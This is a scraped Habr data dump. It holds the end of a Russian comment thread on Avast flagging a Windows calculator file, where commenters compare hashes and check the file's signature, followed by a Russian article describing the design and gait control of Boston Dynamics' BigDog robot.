xmlns=\"http://www.w3.org/1999/xhtml\">«2ру»?! Сэкономили букву?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Так, это… почему по поиску 4236db6913bf2acaac25748289121dd3 находится какой-то CalcPlus и кто-то пишет что у него нет сертификата <a href=\"http://www.backgroundtask.eu/Systeemtaken/Taakinfo/4031/calc.exe/4236DB6913BF2ACAAC25748289121DD3/\">www.backgroundtask.eu/Systeemtaken/Taakinfo/4031/calc.exe/4236DB6913BF2ACAAC25748289121DD3/</a><br/>\r\n<br/>\r\n+1 за то чтобы найти файл с таким де md5 на диске от микрософт (скаченного с офф. сайта или купленного)<br/>\r\n</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Я 5 раз прочитал это как «Двару» и до меня долго не доходило.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">да уж</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">У меня мозг чуть не сломался, пока я понял, что такое «2ру».</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">И после таких сокращений мы еще и ругаем антивирусы? ;)</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">А что еще за CalcPlus.exe<br/>\r\nУ меня в Windows 7 как не переименовываю файл — там всегда отображается calc.exe </div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Не факт, что очередной апдейт не меняет calc.exe и потому смысл считать md5 с того, что в дистрибе, если файл-то другой?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Тоже WinXP, SP3. В карантине ни calc.exe ни других Windows программ нет.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">UFO just landed and posted this here</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Удивлен, что никто еще не написал.<br/>\r\nС некоторых пор Microsoft подписывает все бинарики, входящие в Windows.<br/>\r\nЯ рекомендую проверить цифровую подпись файла.<br/>\r\nЕще, как вариант, sfc /scannow</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">А ничего, что там CalcPlus.exe который никак не стандартный Виндовский calc.exe?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Вообще это не калькулятор, а калькулятор плюс. <br/>\r\nДостаточно древний (для XP выпускался)<br/>\r\nверсия автора без цифровой подписи почему-то. и с большим размером (+3кБ)<br/>\r\n<img src=\"https://habrastorage.org/r/w1560/getpro/geektimes/comment_images/e7c/716/717/e7c7167172a1fc3d56da2cb1fbcf73fc.png\" alt=\"image\" data-src=\"https://habrastorage.org/getpro/geektimes/comment_images/e7c/716/717/e7c7167172a1fc3d56da2cb1fbcf73fc.png\"/><br/>\r\nmd5 4236db6913bf2acaac25748289121dd3<br/>\r\n<br/>\r\n<img src=\"https://habrastorage.org/r/w1560/getpro/geektimes/comment_images/7f0/003/616/7f0003616145d38031308c8870a08c4e.png\" alt=\"image\" data-src=\"https://habrastorage.org/getpro/geektimes/comment_images/7f0/003/616/7f0003616145d38031308c8870a08c4e.png\"/><br/>\r\nmd5 82cdf272102e66208c1d551ac61b6760<br/>\r\nпоследняя правильная, с подписью, лежит на сайте MS <br/>\r\nни вижу ничего удивительного, что на левую версию пошла сработка. ошибка эвристики или реально вирусняк есть</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Это майкрософтовский Калькулятор Плюс для Windows XP. Он похож по функциональности на тот, что в Windows 7.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Возможно, <a href=\"http://www.microsoft.com/en-us/download/details.aspx?id=21622\">www.microsoft.com/en-us/download/details.aspx?id=21622</a>?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Вряд ли…<br/>\r\nЭтот пытается установить себя в <i>C:\\Program Files (x86)\\Microsoft Калькулятор Плюс</i> а не <i>с :\\windows\\system32\\calc.exe</i>. Хотя если ручками подшаманить, то возможно и он. Но тут уже Антивирусы могут на 50% спокойно орать о подмене файла.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Ну пишут же I'm вместо I am :)</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Я так и не понял…<br/>\r\n<br/>\r\nUPD: понял. «Пару»!</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Мне вот интересно, что еще должен удалить аваст, прежде чем им перестанут пользоваться? Который там уже по счету подобный фейл с их стороны?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Я бы рад перейти на что-нибудь другое, пусть Avast! и у меня уже что-нибудь удалит, наконец. А то за столько лет всего около 10 проблемных страниц нашёл на которых могут быть размещены вирусы.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Оригинальный calc.exe, Windows XP SP3<br/>\r\nmd5sum:<br/>\r\ne9cc8c20b0e682c77b97e6787de16e5d<br/>\r\n<br/>\r\nУ вас другой файл, Avast не виноват.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Вот анализ для этого калькулятора: на него ругаются только два левых антивируса.<br/>\r\n<a href=\"https://www.virustotal.com/ru/file/ef854d21cbf297ee267f22049b773ffeb4c1ff1a3e55227cc2a260754699d644/analysis/1368805011/\">www.virustotal.com/ru/file/ef854d21cbf297ee267f22049b773ffeb4c1ff1a3e55227cc2a260754699d644/analysis/1368805011/</a></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Выложите ваш calc.exe где-нибудь для посмотреть</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">я бы просто удалил аваст сразу… еще после того, как это чудо подменяет файлы винды tcpip.sys</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Я бы тоже так подумал, но Avast уже отметился подобным: <a href=\"http://habrahabr.ru/post/161649/\">Обновление Avast полностью блокирует сеть</a>, а почтовый фильтр Avast в одной знакомой конторе ломал кодировку HTML-писем, отключение фильтра решает проблему.<br/>\r\nНе стоит быть столь категоричным.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Теперь я понял зачем люди ставят себе антивирусы — времени свободного много и делать нечего, вот народ и развлекается, кто только в контру играет, а кто то аваст переустанавливает.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Ага, а ещё пишут «С др». Очень приятно.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Есть еще более надежный способ, это загнать файл в отладчик, тем более это простой калькулятор.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">во прикол — у меня md5 = 74483f19c5180f56286c1068be168124 (winXP SP3) хотя по свойствам — версия та же… сколько еще вариантов может быть одного и того же файла?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Спасибо большое, очень весёлый Антивирус, обязательно поставлю! :)</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">здесь лежит <a href=\"http://rghost.ru/45807374\">rghost.ru/45807374</a></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">В настольном CITIZEN села батарейки и вчера тоже пытался запустить виндовый калькулятор.<br/>\r\n<br/>\r\n<img src=\"https://habrastorage.org/r/w780q1/storage2/ee1/0ed/db1/ee10eddb168434d2bbe258bd2ce2a70b.jpg\" alt=\"image\" data-src=\"https://habrastorage.org/storage2/ee1/0ed/db1/ee10eddb168434d2bbe258bd2ce2a70b.jpg\" data-blurred=\"true\"/></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">В отладчик лучше не надо, так как запускать придётся.<br/>\r\nВ дизассемблер лучше, но без символов там делать нечего (разве что пути и URLы всякие посмотреть, но для этого и блокнота хватит).</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Оч. пр.</div>" ], "message_markdown": [ "> 2\\. Поставить другой антивирус.\nВы сами нашли правильное решение вашей проблемы. Как правило, производители ПО начинают что-то делать когда пользователи голосуют ногами.", "Очень давно стоит Аваст, никогда таких глюков не замечал. Может, учитывая сколько файлов в карантине, дело все таки в вас?", "Кроме calc.exe — шесть файлов, два лежат там с 2011 года, три с 2012 года. Этого много?", "UFO just landed and posted this here", "Может быть calc.exe был, кем-то заражен/изменен. Не детект другим антивирусом не показатель :)", "Стоит последний (буквально 2ру дней назад попросился обновиться) — нормально запускается calc.exe, Win7/64 — что я делаю не так?", "У меня тоже Аваст и тоже были проблемы с удалением нормальных программ. То ему Open Office не понравился и я его постоянно из карантина вытягивал, то bred3, то ещё что то. Ни один другой антивирус ничего там не находил, а этот упорно по несколько недель отправлял файлы в карантин. А потом с очередным обновлением вдруг оп!, и всё, файл чист и в карантин его уже не надо.\nОчень странный антивирус, поставить другой просто времени нет, но если ещё будет такое показывать то удалю обязательно.", "от скриншота прям голова закружилась.", "У меня WinXP, SP3. Может в этом ответ", "Есть хороший способ проверить файл на заражённость, это сравнить его с аналогичным, но от другого пользователя или из пакета установки, хотя если у вас не лицензионное по... то первое предпочтительнее.\nИ уж потом писать обличительные статьи.", "Может проблема в том, что calc.exe на диске H? Это действительно как-то подозрительно", "Проверил на virustotal — www.virustotal.com/ru/file/908fe61e9ce102d7422213e39a189451d1000ae0b6c3e625b8502385f09e99ea/analysis/\nИз 46 антивирусов, только двое показали якобы трояна.", "UFO just landed and posted this here", "Ну если винда стоит через одно место, логично что и антивирус работает также :-)", "UFO just landed and posted this here", "Если система стоит на H — это позволяет антивирус удалять системные файлы?", "Ну не удалять, а помечать как подозрительные [Susp]\nВообще, мне кажется логика тут такая:\nОн видит диск H. Он никак не принимает этот диск за системный. С, D, E даже F, но H — это определенно флэшка. Он знает про вирус, который выдает себя за calc.exe. Руководствуясь логикой «лучше перебздеть», он помечает calc.exe на флешке(как он думает) как подозрительный.\nВам бы установить винду по человечески.", "Не, это им надо научиться правильно детектить системный диск, если ваше предположение верно.", "Какое ему дело до буквы, что вы вообще говорите? Это же не антивирус Бабушкина, он должен оперировать системными переменными, а не захардкоженными.", "Настоящий calc.exe вирустоталом не детектится.", "Аваст любит систему ломать: avast-russia.com/lozhnoe-srabatyivanie-avast-na-nekotoryix-russkix-windows-xp.html", "Как-то странно они работают — полумерами. То одну виндовую прогу в карантин, то другую. Лучше бы уж сразу систему сносил, чтобы юзер не мучался :)", "Несколько людей уже проверили свой calc.exe в вирустотале.\nИтог: вирустотал не ругается вообще, а у Nedder ругается. Так что аваст тут, скорее всего, не при чем.", "В томской области тоже думали что за хрень, не поднимается(лось) соединение ADSL (Ростелеком), нашли кто глушит, у всех кто использовал Avast. Служба поддержки всем так и говорила: у вас Avast, да, удалите. Пункт 2 с тех пор мой любимый.", "Действия не правильные.\n1\\. Распаковать из архива с установочного диска calc.exe и посчитать md5 хэш\n2\\. Посчитать md5 у calc.exe из карантина\n3\\. Сравнить, если одинаковые заменить avast, если разные, лечить систему либо переставлять.\n1 пункт делать на другом компьютере. md5 установочного диска должен совпадать с одним из вариантов microsoft", "Что за бред? По этой логике установленный на другой раздел Линукс оно вообще должно выпиливать полностью как «подозрительную-ос-способную-нанести-вред-вашему-компьютеру»? :) Плюс как минимум этот диск помечен как системный и Антивирус должен это понимать и различать.\nДа и я очень сомневаюсь, что в нем есть список всех-всех файлов, который могуть быть в папке виндовса.", "Может у вас разные обновления Windows.", "У меня SP1 в виртуалбоксе вообще без обновлений.", "Ну и не факт, что у Nedder такой же набор обновлений. Не забывайте, что SP — это тоже просто bundle обновлений.", "Как он написал нижу у него вообще XP. Ничего удивительного, что ваш calc.exe и не детектится.", "«2ру»?! Сэкономили букву?", "Так, это... почему по поиску 4236db6913bf2acaac25748289121dd3 находится какой-то CalcPlus и кто-то пишет что у него нет сертификата www.backgroundtask.eu/Systeemtaken/Taakinfo/4031/calc.exe/4236DB6913BF2ACAAC25748289121DD3/\n+1 за то чтобы найти файл с таким де md5 на диске от микрософт (скаченного с офф. сайта или купленного)", "Я 5 раз прочитал это как «Двару» и до меня долго не доходило.", "да уж", "У меня мозг чуть не сломался, пока я понял, что такое «2ру».", "И после таких сокращений мы еще и ругаем антивирусы? ;)", "А что еще за CalcPlus.exe\nУ меня в Windows 7 как не переименовываю файл — там всегда отображается calc.exe", "Не факт, что очередной апдейт не меняет calc.exe и потому смысл считать md5 с того, что в дистрибе, если файл-то другой?", "Тоже WinXP, SP3. В карантине ни calc.exe ни других Windows программ нет.", "UFO just landed and posted this here", "Удивлен, что никто еще не написал.\nС некоторых пор Microsoft подписывает все бинарики, входящие в Windows.\nЯ рекомендую проверить цифровую подпись файла.\nЕще, как вариант, sfc /scannow", "А ничего, что там CalcPlus.exe который никак не стандартный Виндовский calc.exe?", "Вообще это не калькулятор, а калькулятор плюс.\nДостаточно древний (для XP выпускался)\nверсия автора без цифровой подписи почему-то. и с большим размером (+3кБ)\nmd5 4236db6913bf2acaac25748289121dd3\nmd5 82cdf272102e66208c1d551ac61b6760\nпоследняя правильная, с подписью, лежит на сайте MS\nни вижу ничего удивительного, что на левую версию пошла сработка. ошибка эвристики или реально вирусняк есть", "Это майкрософтовский Калькулятор Плюс для Windows XP. Он похож по функциональности на тот, что в Windows 7.", "Возможно, www.microsoft.com/en-us/download/details.aspx?id=21622?", "Вряд ли...\nЭтот пытается установить себя в C:\\Program Files (x86)\\Microsoft Калькулятор Плюс а не с :\\windows\\system32\\calc.exe. Хотя если ручками подшаманить, то возможно и он. Но тут уже Антивирусы могут на 50% спокойно орать о подмене файла.", "Ну пишут же I'm вместо I am :)", "Я так и не понял...\nUPD: понял. «Пару»!", "Мне вот интересно, что еще должен удалить аваст, прежде чем им перестанут пользоваться? Который там уже по счету подобный фейл с их стороны?", "Я бы рад перейти на что-нибудь другое, пусть Avast! и у меня уже что-нибудь удалит, наконец. А то за столько лет всего около 10 проблемных страниц нашёл на которых могут быть размещены вирусы.", "Оригинальный calc.exe, Windows XP SP3\nmd5sum:\ne9cc8c20b0e682c77b97e6787de16e5d\nУ вас другой файл, Avast не виноват.", "Вот анализ для этого калькулятора: на него ругаются только два левых антивируса.\nwww.virustotal.com/ru/file/ef854d21cbf297ee267f22049b773ffeb4c1ff1a3e55227cc2a260754699d644/analysis/1368805011/", "Выложите ваш calc.exe где-нибудь для посмотреть", "я бы просто удалил аваст сразу... еще после того, как это чудо подменяет файлы винды tcpip.sys", "Я бы тоже так подумал, но Avast уже отметился подобным: Обновление Avast полностью блокирует сеть, а почтовый фильтр Avast в одной знакомой конторе ломал кодировку HTML-писем, отключение фильтра решает проблему.\nНе стоит быть столь категоричным.", "Теперь я понял зачем люди ставят себе антивирусы — времени свободного много и делать нечего, вот народ и развлекается, кто только в контру играет, а кто то аваст переустанавливает.", "Ага, а ещё пишут «С др». Очень приятно.", "Есть еще более надежный способ, это загнать файл в отладчик, тем более это простой калькулятор.", "во прикол — у меня md5 = 74483f19c5180f56286c1068be168124 (winXP SP3) хотя по свойствам — версия та же... сколько еще вариантов может быть одного и того же файла?", "Спасибо большое, очень весёлый Антивирус, обязательно поставлю! :)", "здесь лежит rghost.ru/45807374", "В настольном CITIZEN села батарейки и вчера тоже пытался запустить виндовый калькулятор.", "В отладчик лучше не надо, так как запускать придётся.\nВ дизассемблер лучше, но без символов там делать нечего (разве что пути и URLы всякие посмотреть, но для этого и блокнота хватит).", "Оч. пр." ], "author": [ "Николай (pnick)", "Владимир Болиев (voff)", "Nedder", "{}", "Антон Шапеткин (ANTPro)", "arkadym (arkadym)", "FreeS", "Sardorbek Pulatov (pROCKrammer)", "Nedder", "MrGobus", "Владимир Болиев (voff)", "Nedder", "{}", "Владимир Болиев (voff)", "{}", "Nedder", "Владимир Болиев (voff)", "Роман (easyman)", "Василий (run4way)", "Николай Васильчук (Anonym)", "Amlor", "Иванов Игорь (Demosfen)", "Кузнецов Евгений (evgentus)", "Николай Быстрицкий (Megawatt)", "chemistmail", "Alexzander thunder Shevchenko (thunderspb)", "Ganga", "Николай Васильчук (Anonym)", "Ganga", "Ganga", "Евгений Степанищев (bolk)", "Виктор Ефимов (vsespb)", "v1z (v1z)", "Ходырев Данил (Kodeks)", "Александр Пермяков (Eefrit)", "Alex (eaa)", "Краснов Кирилл (krak)", "Alex (eaa)", "rOOse (rOOse)", "{}", "Роман (easyman)", "Артур Столяр (NekR)", "S Qem (Sqem)", "Виталий Кузьмин (Triang3l)", "Evengard (Evengard)", "Краснов Кирилл (krak)", "Адяков Денис (dozent)", "Evengard (Evengard)", "Сергей (DarthSim)", "Коваль Василий (ni_dasav)", "kedobear", "kedobear", "ssve", "Дмитрий (Bo_bda)", "Евгений Софронов (YujiTFD)", "Артур (dikkini)", "Александр Пермяков (Eefrit)", "akamajoris", "Максим (Speakus)", "Владимир Керимов (Qualab)", "S Qem (Sqem)", "Александр (alans)", "Виталий Кузьмин (Triang3l)", "Влад (vvzvlad)" ], "children": [ [], [ 11049244, 11049348 ], [], [], [ 11049262 ], [ 11049256, 11049300 ], [], [], [ 11049316 ], [ 11049354 ], [ 11049264 ], [ 11049278, 11049312 ], [ 11049266 ], [ 11049268, 11049270 ], [], [ 11049272 ], [ 11049274, 11049276, 11049290 ], [], [], [ 11049292 ], [], [ 11049284, 11049306 ], [], [], [ 11049302, 11049314 ], [], [ 11049294 ], [ 11049296, 11049298 ], [], [ 11049322 ], [ 11049304, 11049308, 11049310, 11049332 ], [], [], [], [ 11049334 ], [], [ 11049328 ], [], [], [], [], [ 11049326 ], [ 11049356 ], [], [ 11049330 ], [], [ 11049352 ], [], [ 11049338 ], [], [ 11049342 ], [], [ 11049360 ], [], [], [], [ 11049366 ], [ 11049364 ], [], [], [], [], [], [] ] }
411,331
ru
https://habr.com/ru/post/411331/
Вспоминаем легенду: как устроен BigDog от Boston Dynamics
BigDog стал первым роботом Boston Dynamics, получившим широкую известность. Во многом именно он «сделал имя» своей компании-создателю. Робот для военных, от которого отказались военные, и первый робот Boston Dynamics, которого на камеру пинали разработчики. Сейчас на проекте поставлен крест, но он стал основой для последующих разработок компании — Cheetah и новых Spot, видео с которыми быстро стали вирусными. Сегодня попытаемся разобраться в устройстве BigDog со слов его разработчиков. Оригинальную статью авторы опубликовали еще в 2008 году, но она до сих пор (вроде как) не была переведена на русский. В ней рассказано о главных компонентах робота и алгоритмах, координирующих его походку. Цель проекта BigDog — создание автономных устройств с ногами с возможностью движения по пересеченной местности. Они должны превосходить существующие колесные и гусеничные транспортные средства. Идеальная система должна проходить везде, куда может пойти человек или животное, бежать в течение многих часов и нести вес в виде собственного топлива и полезной нагрузки. Она достаточно умна, чтобы пересекать местность с минимальным человеческим вмешательством и управлением. Созданные роботы BigDog помогли сделать несколько шагов для достижения этих целей, хотя впереди еще много работы. У BigDog есть бортовые системы, которые обеспечивают питание, приведение в действие, сбор данных о среде, контроль и коммуникацию. Питание поставляет охлаждаемый водой двухтактный ДВС, который обеспечивает порядка 15 л.с. Он приводит в движение насос, который доставляет гидравлическое масло через систему фильтров, коллекторов, аккумуляторов к актуаторам роботических ног. Актуаторы представляют собой низко-фрикционные гидравлические цилиндры, регулируемые двухступенчатыми сервоклапанами. У каждого актуатора есть сенсоры, которые контролируют положение сустава и силу. У каждой ноги — 4 гидравлических актуатора, которые питают суставы. Теплообменник, установленный на корпусе BigDog, охлаждает масло, а радиатор охлаждает двигатель для устойчивости операций. Основные элементы конструкции BigDog Бортовой компьютер контролирует поведение BigDog, управляет сенсорами и отвечает за коммуникацию с удаленным оператором. Он также записывает большое количество инженерных данных для анализа производительности, анализа ошибок и операционной поддержки. У BigDog порядка 50 сенсоров. Инерционные датчики измеряют позицию и ускорение тела, датчики суставов измеряют движение и силу суставных актуаторов. Бортовой компьютер обрабатывает информацию от всех этих датчиков, чтобы дать оценку того, как движется робот. Еще одна группа сенсоров контролирует гомеостаз BigDog: гидравлическое давление, потоки и температуру, скорость двигателя и пр. Бортовой компьютер выполняет как низко-, так и высокоуровневые контролирующие функции. Низкоуровневая система контролирует положение сервоприводов и питание в суставах. Высокоуровневая координирует положение ног для регуляции скорости, положения и высоты тела во время передвижения. Она также отслеживает силу взаимодействия с землей, чтобы обеспечить устойчивое движение. BigDog имеет множество вариантов движения. Он может вставать, приседать, ходить ползучей походкой, ходить, поднимая только одну ногу за раз, идти рысью и галопом. Скорость при ползущей походке составляет 0,2 м/с, для рыси — 1,6 м/с, для бега — 2 м/с (в лабораторных условиях максимальный показатель скорости составил 3,1 м/с). Кроме того, робот умеет прыгать на 1,1 м. BigDog обычно контролируется человеком-оператором, который работает с блоком управления, соединенным с роботом через IP-радиоприемники. Оператор осуществляет высокоуровневое управление движением и скоростью. Он также может приказать роботу запустить или остановить двигатель, встать, сесть, идти или перейти на бег. [О том, как разрабатывался алгоритм автономной навигации для робота, можно прочитать здесь] В робота интегрировали систему стереозрения и лидар. Система стереозрения, разработанная Jet Propulsion Laboratory, состоит из пары стереокамер, компьютера и зрительного ПО. Она используется для получения 3D-формы ландшафта впереди робота и нахождения им пути. Лидар нужен, чтобы BigDog мог следовать за человеком без дополнительных команд оператора. ### Контролирование походки Чтобы двигаться со скоростью человека, BigDog использует динамически уравновешенную походку рысью. Он балансирует, используя боковую скорость и ускорение, определяемые по ощущаемому поведению ног в сочетании с инерционными датчиками. Система управления BigDog координирует кинематику и наземные реакции робота, реагируя на основные постуральные команды. Контроллер распределяет нагрузку между ногами, чтобы оптимизировать их несущую способность. Вертикальная нагрузка на конечности поддерживается как можно более равномерной, а отдельные ноги генерируют наземные реакции, направленные на бедра, чтобы снизить трение. Алгоритм координации походки, ответственный за коммуникацию между конечностями, запускает движение ног. Его координирует модель виртуальной ноги. Общую схему контроля ходьбы BigDog можно представить так: Схема контроля ходьбы BigDog Мы разработали алгоритмы ходьбы для неровной местности и протестировали их в физическом моделировании перед тестированием на роботе. Моделируемый робот ходит по склонам под углом до 60 градусов. Алгоритм его движения меняется в зависимости от того, идет он по ровной поверхности или по склону. Кроме того, он учитывает неожиданные препятствия на пути, такие как камни или ямы. Физическое моделирование использовалось при разработке алгоритмов походки Система управления использует информацию с суставного датчика, чтобы определить, находятся ли «ноги» в настоящий момент на земле и определить нагрузку на каждую конечность и привод. Алгоритм состояния контролирует положение тела, координируя кинематику конечностей с силами реакции ног, контактирующих с землей. Алгоритм состояния реализует правильное движение ног на неровной поверхности. Это позволяет контролировать повороты, шаг и высоту тела относительно земли, тем самым давая возможность BigDog адаптироваться к изменениям ландшафта без датчиков более высокого уровня восприятия местности. BigDog адаптируется к местности двумя способами. Он регулирует высоту и отношение тела к ландшафту и контролирует, куда ставить ноги. При подъеме и спуске со склонов тело робота наклоняется. Крутые склоны (более чем 45 градусов) робот преодолевает, корректируя походку и используя более мелкие шаги. В конце статьи авторы поименно благодарят всех 23 человек из команды BigDog и делятся планами на будущее: укрепить корпус робота, сделать BigDog автономным и сделать его работу тише (бензиновый двигатель шумит как мотоцикл). Последний пункт, как показало время, так и остался серьезной проблемой. Больше интересного о робототехнике — на robo-hunter.com: свежие новости; обзоры; интервью с разработчиками; инфографика; видео.
<div xmlns="http://www.w3.org/1999/xhtml"><div style="text-align:center;"><img src="https://habrastorage.org/r/w1560/webt/nu/xw/0j/nuxw0j7fofr99phpyi2dxra4tru.png" data-src="https://habrastorage.org/webt/nu/xw/0j/nuxw0j7fofr99phpyi2dxra4tru.png"/></div><br/> <i>BigDog стал первым роботом Boston Dynamics, получившим широкую известность. Во многом именно он «сделал имя» своей компании-создателю. Робот для военных, от которого отказались военные, и первый робот Boston Dynamics, которого на камеру пинали разработчики. <br/> <br/> Сейчас на проекте поставлен крест, но он стал основой для последующих разработок компании — Cheetah и новых Spot, <a href="https://robo-hunter.com/news/boston-dynamics-uchit-svoego-chetveronogogo-robota-ne-sdavatsya9577?utm_source=geektimes&amp;utm_campaign=6-04&amp;utm_content=6-04-1">видео с которыми</a> быстро стали вирусными.<br/> <br/> Сегодня попытаемся разобраться в устройстве BigDog со слов его разработчиков. Оригинальную статью авторы опубликовали еще в 2008 году, но она до сих пор (вроде как) не была переведена на русский. В ней рассказано о главных компонентах робота и алгоритмах, координирующих его походку.</i><a name="habracut"></a><br/> <br/> Цель проекта BigDog — создание автономных устройств с ногами с возможностью движения по пересеченной местности. Они должны превосходить существующие колесные и гусеничные транспортные средства. Идеальная система должна проходить везде, куда может пойти человек или животное, бежать в течение многих часов и нести вес в виде собственного топлива и полезной нагрузки. Она достаточно умна, чтобы пересекать местность с минимальным человеческим вмешательством и управлением. <br/> <br/> Созданные роботы BigDog помогли сделать несколько шагов для достижения этих целей, хотя впереди еще много работы. <br/> <br/> У BigDog есть бортовые системы, которые обеспечивают питание, приведение в действие, сбор данных о среде, контроль и коммуникацию. Питание поставляет охлаждаемый водой двухтактный ДВС, который обеспечивает порядка 15 л.с. Он приводит в движение насос, который доставляет гидравлическое масло через систему фильтров, коллекторов, аккумуляторов к актуаторам роботических ног. Актуаторы представляют собой низко-фрикционные гидравлические цилиндры, регулируемые двухступенчатыми сервоклапанами. У каждого актуатора есть сенсоры, которые контролируют положение сустава и силу. У каждой ноги — 4 гидравлических актуатора, которые питают суставы. Теплообменник, установленный на корпусе BigDog, охлаждает масло, а радиатор охлаждает двигатель для устойчивости операций. <br/> <br/> <img src="https://habrastorage.org/r/w1560/webt/gs/il/q_/gsilq_1rsjiwu2q4ljxbtbu8570.png" data-src="https://habrastorage.org/webt/gs/il/q_/gsilq_1rsjiwu2q4ljxbtbu8570.png"/><br/> <i>Основные элементы конструкции BigDog</i><br/> <br/> Бортовой компьютер контролирует поведение BigDog, управляет сенсорами и отвечает за коммуникацию с удаленным оператором. Он также записывает большое количество инженерных данных для анализа производительности, анализа ошибок и операционной поддержки. <br/> <br/> У BigDog порядка 50 сенсоров. Инерционные датчики измеряют позицию и ускорение тела, датчики суставов измеряют движение и силу суставных актуаторов. Бортовой компьютер обрабатывает информацию от всех этих датчиков, чтобы дать оценку того, как движется робот. Еще одна группа сенсоров контролирует гомеостаз BigDog: гидравлическое давление, потоки и температуру, скорость двигателя и пр.<br/> <br/> Бортовой компьютер выполняет как низко-, так и высокоуровневые контролирующие функции. Низкоуровневая система контролирует положение сервоприводов и питание в суставах. Высокоуровневая координирует положение ног для регуляции скорости, положения и высоты тела во время передвижения. Она также отслеживает силу взаимодействия с землей, чтобы обеспечить устойчивое движение. <br/> <br/> BigDog имеет множество вариантов движения. Он может вставать, приседать, ходить ползучей походкой, ходить, поднимая только одну ногу за раз, идти рысью и галопом. Скорость при ползущей походке составляет 0,2 м/с, для рыси — 1,6 м/с, для бега — 2 м/с (в лабораторных условиях максимальный показатель скорости составил 3,1 м/с). Кроме того, робот умеет прыгать на 1,1 м.<br/> <br/> BigDog обычно контролируется человеком-оператором, который работает с блоком управления, соединенным с роботом через IP-радиоприемники. Оператор осуществляет высокоуровневое управление движением и скоростью. Он также может приказать роботу запустить или остановить двигатель, встать, сесть, идти или перейти на бег. <br/> <br/> <i>[О том, как разрабатывался алгоритм автономной навигации для робота, можно прочитать <a href="https://pdfs.semanticscholar.org/79f4/9167f0781037de701d6d5c4d94fab31ca2ac.pdf">здесь</a>]</i><br/> <br/> В робота интегрировали систему стереозрения и лидар. Система стереозрения, разработанная Jet Propulsion Laboratory, состоит из пары стереокамер, компьютера и зрительного ПО. Она используется для получения 3D-формы ландшафта впереди робота и нахождения им пути. Лидар нужен, чтобы BigDog мог следовать за человеком без дополнительных команд оператора. <br/> <br/> <h3>Контролирование походки</h3><br/> Чтобы двигаться со скоростью человека, BigDog использует динамически уравновешенную походку рысью. Он балансирует, используя боковую скорость и ускорение, определяемые по ощущаемому поведению ног в сочетании с инерционными датчиками. <br/> <br/> Система управления BigDog координирует кинематику и наземные реакции робота, реагируя на основные постуральные команды. Контроллер распределяет нагрузку между ногами, чтобы оптимизировать их несущую способность. Вертикальная нагрузка на конечности поддерживается как можно более равномерной, а отдельные ноги генерируют наземные реакции, направленные на бедра, чтобы снизить трение.<br/> <br/> Алгоритм координации походки, ответственный за коммуникацию между конечностями, запускает движение ног. Его координирует модель виртуальной ноги. Общую схему контроля ходьбы BigDog можно представить так:<br/> <br/> <img src="https://habrastorage.org/r/w1560/webt/s8/rj/hd/s8rjhdexj-8fybzkpojwdqwlccu.png" data-src="https://habrastorage.org/webt/s8/rj/hd/s8rjhdexj-8fybzkpojwdqwlccu.png"/><br/> <i>Схема контроля ходьбы BigDog</i><br/> <br/> Мы разработали алгоритмы ходьбы для неровной местности и протестировали их в физическом моделировании перед тестированием на роботе. Моделируемый робот ходит по склонам под углом до 60 градусов. Алгоритм его движения меняется в зависимости от того, идет он по ровной поверхности или по склону. Кроме того, он учитывает неожиданные препятствия на пути, такие как камни или ямы.<br/> <br/> <div style="text-align:center;"><img src="https://habrastorage.org/r/w780q1/webt/in/hd/ww/inhdwwltglndiahzwzurhvokpoe.jpeg" data-src="https://habrastorage.org/webt/in/hd/ww/inhdwwltglndiahzwzurhvokpoe.jpeg" data-blurred="true"/></div><br/> <i>Физическое моделирование использовалось при разработке алгоритмов походки</i><br/> <br/> Система управления использует информацию с суставного датчика, чтобы определить, находятся ли «ноги» в настоящий момент на земле и определить нагрузку на каждую конечность и привод. Алгоритм состояния контролирует положение тела, координируя кинематику конечностей с силами реакции ног, контактирующих с землей. Алгоритм состояния реализует правильное движение ног на неровной поверхности. Это позволяет контролировать повороты, шаг и высоту тела относительно земли, тем самым давая возможность BigDog адаптироваться к изменениям ландшафта без датчиков более высокого уровня восприятия местности.<br/> <br/> BigDog адаптируется к местности двумя способами. Он регулирует высоту и отношение тела к ландшафту и контролирует, куда ставить ноги. При подъеме и спуске со склонов тело робота наклоняется. Крутые склоны (более чем 45 градусов) робот преодолевает, корректируя походку и используя более мелкие шаги. <br/> <br/> <i>В конце статьи авторы поименно благодарят всех 23 человек из команды BigDog и делятся планами на будущее: укрепить корпус робота, сделать BigDog автономным и сделать его работу тише (бензиновый двигатель шумит как мотоцикл). Последний пункт, как показало время, так и остался серьезной проблемой. </i><br/> <br/> <b>Больше интересного о робототехнике — на robo-hunter.com:</b><br/> <br/> <ul> <li><a 